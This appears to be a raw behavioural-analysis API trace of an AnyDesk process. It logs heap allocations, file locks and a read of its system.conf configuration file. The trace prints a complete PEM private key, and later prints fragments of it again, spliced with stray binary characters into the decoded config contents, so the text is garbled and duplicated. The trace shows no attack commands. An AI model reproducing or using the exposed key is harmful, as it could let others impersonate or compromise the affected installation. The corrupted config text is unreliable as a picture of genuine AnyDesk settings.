KEY-----\\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCg+i/MlL12B+Ab\\nC2uE+G3td1PzkzhOI/KLtJ6wcdyt2UQBd9Djp/PV+UKIPX/O41+y37uauCCsATtC\\nT5lx39VwLs5D1uYWfFmx/AMR4Mt0yI+vPVnA5iBDRmL4Ogm0YKkkil3km4dg2PUg\\ncXe1i3nhwct0Aky1Z6NW9f0bntMSsrC1DnrW3yzGoQo8W14Uu6EED0+T9mBLCJA8\\nEpjTYnfM+KnhRzreBcoXVlq/xU3ZRqtB2BMelchGnTtC1vOtefg0QJlX/l1bEd73\\nnO9jwAhf7XkFGbTuLwSG5SQZcA9RQBWn5MGzzQC4UEGQutMsCpKtHflFzc8k+Y8i\\nhm2CB/2pAgMBAAECggEAejZW8a9+w0wpVP7viwz8kAtG/iYn2hMqgewHihd3nbjU\\nC3VGbn/E/A739u0RyiUPM4LuMAFYNJ3eunIqIaz4oum2CQTuu+V+R0T3o6wRasEV\\nbMpcCLnthoW6f4+4bGvyHd66d+On/NvaBd5/LqIMT1vMtW9Fg3eCJ3Qry7thrdAt\\nYEQgcnMcjY613l0UmVqG2NhqeiVNamyzWDF8+s1Sl4xuFMluyetKD9WeWJb8FK/J\\n/884OmaFKA7Dd1J3bNCEAOspIXB3rIhThFzh8FV9fXHWZgUs/HX9gduCMyRcDhbx\\nN7TR7XkpLAYTbAMq1JoHLYLM5BwfPx1D5l62wHfnrQKBgQDLW9QX3P/i922vyX0m\\nMY9kbB193aK8x/1PA9yKAXty2U+GCjYq3P2k1xlvBlishgmchhG3Ond+wpbRBPr4\\nOeJALdfDsX+JsaXHTMGNmpFNRvgTkD6e4Y7c4mZf5PgXWbHkZmnnyBvCXG1bheE/\\nG3W8/xoooSNPeh0UaSRZCd3icwKBgQDKpdPQK4ADsS/t93h/Z1JfOVqLDNWUAXDN\\nRdTWlh+xGykOmCs/qY1yn71pRtVosYkUZTH7LGEDNrapWjRiJ1X1djbQBLdzA594\\n5zlCjFVDpYd63x8+pZu5mPmXtgG5umzZkAbIRWYO9dW9cOmWACSmThUhuNCJEQbu\\ntZp3OHKscwKBgQCNhRJMqRfKs7Y5p1bYxZSspjC/7wXZqrO10VIhGHb4rhKRjXm0\\nyqYZmTex9BCxv3Xg38xkXuPZ60FZpMWjCWVSlJSbM2M2R9K+p8Pq764+wSzTMIbj\\nusTZIxVrlsSwO1N5R2xcSP5IfFn+X2Uprcp6BG4H6FvSa4DhO2p4LE2l0QKBgC9S\\nWgwanGJAVjjzuSfHMO0br5EZBibxzy2gSPtzQyNQfF30GuVa6rUBqHGVIPC5xJEG\\nsI0+58igVjdl4SWqmeAgItygvVYWWn8ZP73Sl3aciO6ge+NdOOg2WNKcpfqBFjoX\\n7/2Edzi3H5qFa4ajsetEAJtHVSss1rmXnuKIQ/8RAoGBAJL3EVTt0alBGRdeeLbn\\nR7N9Dmqvz8UMuL8k51+2t0tNmrrzNDv1fCjQX912oN5PgFnIG30fg7tVZPhkCo5G\\nZO0gCkEO0IApmYQcdSCCtDJYHAessvau3k1q4tcI3BlL7LgDJ5mVWH2/PNalztK/\\npNvlzErOkV5fOASeklpwOlTi\\n-----END PRIVATE KEY-----\\n\nDN즇嶰ⷳ\x01ÄƓ传ƖdTWlh+xGykOmCs/qY1yn71pRtVosYkUZTH7LGEDNrapWjRiJ1X1djbQBLdzA594\n5zlCjFVDpYd63x8+pZu5mPmXtgG5umzZkAbIRWYO9dW9cOmWACSmThUhuNCJEQbu\ntZp3OHKscwKBgQCNhRJMqRfKs7Y5p1bYxZSspjC/7wXZqrO10VIhGHb4rhKRjXm0\nyqYZmTex9BCxv3Xg38xkXuPZ60FZpMWjCWVSlJSbM2M2R9K+p8Pq764+wSzTMIbj\nusTZIxVrlsSwO1N5R2xcSP5IfFn+X2Uprcp6BG4H6FvSa4DhO2p4LE2l0QKBgC9S\nWgwanGJAVjjzuSfHMO0br5EZBibxzy2gSPtzQyNQfF30GuVa6rUBqHGVIPC5xJEG\nsI0+58igVjdl4SWqmeAgItygvVYWWn8ZP73Sl3aciO6ge+NdOOg2WNKcpfqBFjoX\n7/2Edzi3H5qFa4ajsetEAJtHVSss1rmXnuKIQ/8RAoGBAJL3EVTt0alBGRdeeLbn\nR7N9Dmqvz8UMuL8k51+2t0tNmrrzNDv1fCjQX912oN5PgFnIG30fg7tVZPhkCo5G\nZO0gCkEO0IApmYQcdSCCtDJYHAessvau3k1q4tcI3BlL7LgDJ5mVWH2/PNalztK/\npNvlzErOkV5fOASeklpwOlTi\n-----END PRIVATE KEY-----\n") returned 2762 [0283.437] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ec) returned 0x1967d20 [0283.437] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993c88 [0283.437] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xda8) returned 0x1968518 [0283.437] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993ca0 [0283.437] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ec) returned 0x19692c8 [0283.437] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19692c8 | out: hHeap=0x1930000) returned 1 [0283.437] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973010 [0283.437] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x19730d8 [0283.437] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973010 | out: hHeap=0x1930000) returned 1 [0283.437] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ce) returned 0x19692c8 [0283.437] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ce) returned 0x1993e50 [0283.438] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ac) returned 0x1994628 [0283.438] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993e50 | out: hHeap=0x1930000) returned 1 [0283.439] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19692c8 | out: hHeap=0x1930000) returned 1 [0283.439] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eec0 [0283.439] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bba8 [0283.439] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973010 [0283.439] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.439] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ac) returned 0x1993e50 [0283.439] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1994628 | out: hHeap=0x1930000) returned 1 [0283.439] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19730d8 | out: hHeap=0x1930000) returned 1 [0283.439] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xda8) returned 0x1994608 [0283.440] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1994608 | out: hHeap=0x1930000) returned 1 [0283.440] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x19730d8 [0283.440] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x19730b0 [0283.440] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19730d8 | out: hHeap=0x1930000) returned 1 [0283.440] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xd8a) returned 0x1994608 [0283.440] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xd8a) returned 0x19953a0 [0283.440] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xd52) returned 0x1996138 [0283.440] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19953a0 | out: hHeap=0x1930000) returned 1 [0283.441] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1994608 | out: hHeap=0x1930000) returned 1 [0283.441] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eec0 [0283.441] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bd48 [0283.441] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x19730d8 [0283.441] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.441] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xd52) returned 0x1994608 [0283.442] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1996138 | out: hHeap=0x1930000) returned 1 [0283.442] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19730b0 | out: hHeap=0x1930000) returned 1 [0283.442] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1967d20 | out: hHeap=0x1930000) returned 1 [0283.442] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993c88 | out: hHeap=0x1930000) returned 1 [0283.443] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1968518 | out: hHeap=0x1930000) returned 1 [0283.443] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993ca0 | out: hHeap=0x1930000) returned 1 [0283.443] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1966780 | out: hHeap=0x1930000) returned 1 [0283.443] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964448 | out: hHeap=0x1930000) returned 1 [0283.443] UnlockFileEx (in: hFile=0x18c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x12d4cb8 | out: lpOverlapped=0x12d4cb8) returned 1 [0283.443] CloseHandle (hObject=0x18c) returned 1 [0283.444] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c198 | out: hHeap=0x1930000) returned 1 [0283.444] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eec0 [0283.444] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.444] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xd52) returned 0x1964448 [0283.444] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1965a20 | out: hHeap=0x1930000) returned 1 [0283.444] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972fc0 | out: hHeap=0x1930000) returned 1 [0283.445] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bb08 | out: hHeap=0x1930000) returned 1 [0283.445] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964448 | out: hHeap=0x1930000) returned 1 [0283.445] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eec0 [0283.445] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.445] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ac) returned 0x1964448 [0283.445] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1965268 | out: hHeap=0x1930000) returned 1 [0283.446] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972fe8 | out: hHeap=0x1930000) returned 1 [0283.446] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196be08 | out: hHeap=0x1930000) returned 1 [0283.446] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964448 | out: hHeap=0x1930000) returned 1 [0283.446] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196be28 | out: hHeap=0x1930000) returned 1 [0283.446] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bda8 | out: hHeap=0x1930000) returned 1 [0283.446] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bda8 [0283.446] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196be28 [0283.446] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x46) returned 0x198c198 [0283.446] GetTickCount () returned 0xb80a [0283.446] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0283.447] LockFileEx (in: hFile=0x18c, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x12d4cfc | out: lpOverlapped=0x12d4cfc) returned 1 [0283.447] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x12d4d18 | out: lpFileSize=0x12d4d18*=455) returned 1 [0283.447] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c7) returned 0x196d6e0 [0283.447] ReadFile (in: hFile=0x18c, lpBuffer=0x196d6e0, nNumberOfBytesToRead=0x1c7, lpNumberOfBytesRead=0x12d4d2c, lpOverlapped=0x0 | out: lpBuffer=0x196d6e0*, lpNumberOfBytesRead=0x12d4d2c*=0x1c7, lpOverlapped=0x0) returned 1 [0283.447] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x196d6e0, cbMultiByte=455, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 455 [0283.447] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x390) returned 0x1995368 [0283.447] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x196d6e0, cbMultiByte=455, lpWideCharStr=0x1995368, cchWideChar=456 | out: lpWideCharStr="ad.anynet.fpr=9f798b4c7a6e1a608c1a6b55f87e1456ddb10ff2\nad.anynet.relay.fatal_result=1.0\nad.anynet.relay.state=0\nad.security.frontend_clipboard=1\nad.security.frontend_clipboard_files=1\nad.security.frontend_clipboard_version=1\nad.security.permission_profiles._default.permissions.sas=1\nad.security.permission_profiles._unattended_access.permissions.sas=1\nad.security.permission_profiles.version=1\nad.security.update_channel=stable\nad.security.update_type=0\n2캸新⼴\x04䑈ƖᰈƗBAAECggEAejZW8a9+w0wpVP7viwz8kAtG/iYn2hMqgewHihd3nbjU\\nC3VGbn/E/A739u0RyiUPM4LuMAFYNJ3eunIqIaz4oum2CQTuu+V+R0T3o6wRasEV\\nbMpcCLnthoW6f4+4bGvyHd66d+On/NvaBd5/LqIMT1vMtW9Fg3eCJ3Qry7thrdAt\\nYEQgcnMcjY613l0UmVqG2NhqeiVNamyzWDF8+s1Sl4xuFMluyetKD9WeWJb8FK/J\\n/884OmaFKA7Dd1J3bNCEAOspIXB3rIhThFzh8FV9fXHWZgUs/HX9gduCMyRcDhbx\\nN7TR7XkpLAYTbAMq1JoHLYLM5BwfPx1D5l62wHfnrQKBgQDLW9QX3P/i922vyX0m\\nMY9kbB193aK8x/1PA9yKAXty2U+GCjYq3P2k1xlvBlishgmchhG3Ond+wpbRBPr4\\nOeJALdfDsX+JsaXHTMGNmpFNRvgTkD6e4Y7c4mZf5PgXWbHkZmnnyBvCXG1bheE/\\nG3W8/xoooSNPeh0UaSRZCd3icwKBgQDKpdPQK4ADsS/t93h/Z1JfOVqLDNWUAXDN\\nRdTWlh+xGykOmCs/qY1yn71pRtVosYkUZTH7LGEDNrapWjRiJ1X1djbQBLdzA594\\n5zlCjFVDpYd63x8+pZu5mPmXtgG5umzZkAbIRWYO9dW9cOmWACSmThUhuNCJEQbu\\ntZp3OHKscwKBgQCNhRJMqRfKs7Y5p1bYxZSspjC/7wXZqrO10VIhGHb4rhKRjXm0\\nyqYZmTex9BCxv3Xg38xkXuPZ60FZpMWjCWVSlJSbM2M2R9K+p8Pq764+wSzTMIbj\\nusTZIxVrlsSwO1N5R2xcSP5IfFn+X2Uprcp6BG4H6FvSa4DhO2p4LE2l0QKBgC9S\\nWgwanGJAVjjzuSfHMO0br5EZBibxzy2gSPtzQyNQfF30GuVa6rUBqHGVIPC5xJEG\\nsI0+58igVjdl4SWqmeAgItygvVYWWn8ZP73Sl3aciO6ge+NdOOg2WNKcpfqBFjoX\\n7/2Edzi3H5qFa4ajsetEAJtHVSss1rmXnuKIQ/8RAoGBAJL3EVTt0alBGRdeeLbn\\nR7N9Dmqvz8UMuL8k51+2t0tNmrrzNDv1fCjQX912oN5PgFnIG30fg7tVZPhkCo5G\\nZO0gCkEO0IApmYQcdSCCtDJYHAessvau3k1q4tcI3BlL7LgDJ5mVWH2/PNalztK/\\npNvlzErOkV5fOASeklpwOlTi\\n-----END PRIVATE KEY-----\\n") returned 455 [0283.447] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6e) returned 0x197f8e0 [0283.447] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993ca0 [0283.447] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c0a8 [0283.447] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993c88 [0283.447] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f448 [0283.447] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993cb8 [0283.447] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c238 [0283.447] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993cd0 [0283.447] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1972c58 [0283.447] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993ce8 [0283.447] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x19755a0 [0283.447] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993d00 [0283.447] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x76) returned 0x19856b8 [0283.448] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993d18 [0283.448] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8a) returned 0x196c2e0 [0283.448] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993c70 [0283.448] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x54) returned 0x1975e40 [0283.448] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993c58 [0283.448] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c288 [0283.448] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993c40 [0283.448] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x19904d8 [0283.448] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993c28 [0283.448] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6e) returned 0x197f9d0 [0283.448] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197f9d0 | out: hHeap=0x1930000) returned 1 [0283.448] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1972fe8 [0283.448] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1972fc0 [0283.448] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972fe8 | out: hHeap=0x1930000) returned 1 [0283.448] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975f00 [0283.448] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975fc0 [0283.449] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975ea0 [0283.449] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975fc0 | out: hHeap=0x1930000) returned 1 [0283.449] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975f00 | out: hHeap=0x1930000) returned 1 [0283.449] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eec0 [0283.449] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196be08 [0283.449] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1972fe8 [0283.449] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.449] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975f00 [0283.450] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975ea0 | out: hHeap=0x1930000) returned 1 [0283.450] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972fc0 | out: hHeap=0x1930000) returned 1 [0283.450] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c2d8 [0283.450] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c2d8 | out: hHeap=0x1930000) returned 1 [0283.450] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970a98 [0283.450] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970978 [0283.450] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970a98 | out: hHeap=0x1930000) returned 1 [0283.450] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x196eec0 [0283.450] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x196eeb0 [0283.450] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x196eea0 [0283.450] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eeb0 | out: hHeap=0x1930000) returned 1 [0283.450] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.451] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eec0 [0283.451] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bb08 [0283.451] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970a98 [0283.451] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.451] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x196eec0 [0283.451] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eea0 | out: hHeap=0x1930000) returned 1 [0283.451] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970978 | out: hHeap=0x1930000) returned 1 [0283.451] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f4b8 [0283.451] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f4b8 | out: hHeap=0x1930000) returned 1 [0283.451] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x196f4b8 [0283.451] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x196f480 [0283.452] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f4b8 | out: hHeap=0x1930000) returned 1 [0283.452] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196eea0 [0283.452] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196eeb0 [0283.452] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196ee90 [0283.452] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eeb0 | out: hHeap=0x1930000) returned 1 [0283.452] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eea0 | out: hHeap=0x1930000) returned 1 [0283.452] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eea0 [0283.452] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962c60 [0283.452] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x196f4b8 [0283.452] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eea0 | out: hHeap=0x1930000) returned 1 [0283.452] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196eea0 [0283.452] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee90 | out: hHeap=0x1930000) returned 1 [0283.453] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f480 | out: hHeap=0x1930000) returned 1 [0283.453] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c2d8 [0283.453] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c2d8 | out: hHeap=0x1930000) returned 1 [0283.453] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x1970978 [0283.453] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x1970930 [0283.453] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970978 | out: hHeap=0x1930000) returned 1 [0283.453] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196ee90 [0283.453] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196eeb0 [0283.453] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196ee80 [0283.454] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eeb0 | out: hHeap=0x1930000) returned 1 [0283.454] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee90 | out: hHeap=0x1930000) returned 1 [0283.454] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196ee90 [0283.454] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962c80 [0283.454] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x1970978 [0283.454] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee90 | out: hHeap=0x1930000) returned 1 [0283.454] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196ee90 [0283.454] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee80 | out: hHeap=0x1930000) returned 1 [0283.454] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970930 | out: hHeap=0x1930000) returned 1 [0283.454] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1971fa0 [0283.469] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971fa0 | out: hHeap=0x1930000) returned 1 [0283.475] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x1971fa0 [0283.475] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x19725d0 [0283.476] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971fa0 | out: hHeap=0x1930000) returned 1 [0283.476] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196ee80 [0283.476] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196eeb0 [0283.476] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1971980 [0283.476] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eeb0 | out: hHeap=0x1930000) returned 1 [0283.476] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee80 | out: hHeap=0x1930000) returned 1 [0283.476] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196ee80 [0283.476] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962ca0 [0283.476] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x1971fa0 [0283.476] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee80 | out: hHeap=0x1930000) returned 1 [0283.476] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196ee80 [0283.476] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971980 | out: hHeap=0x1930000) returned 1 [0283.477] HeapFree (in: 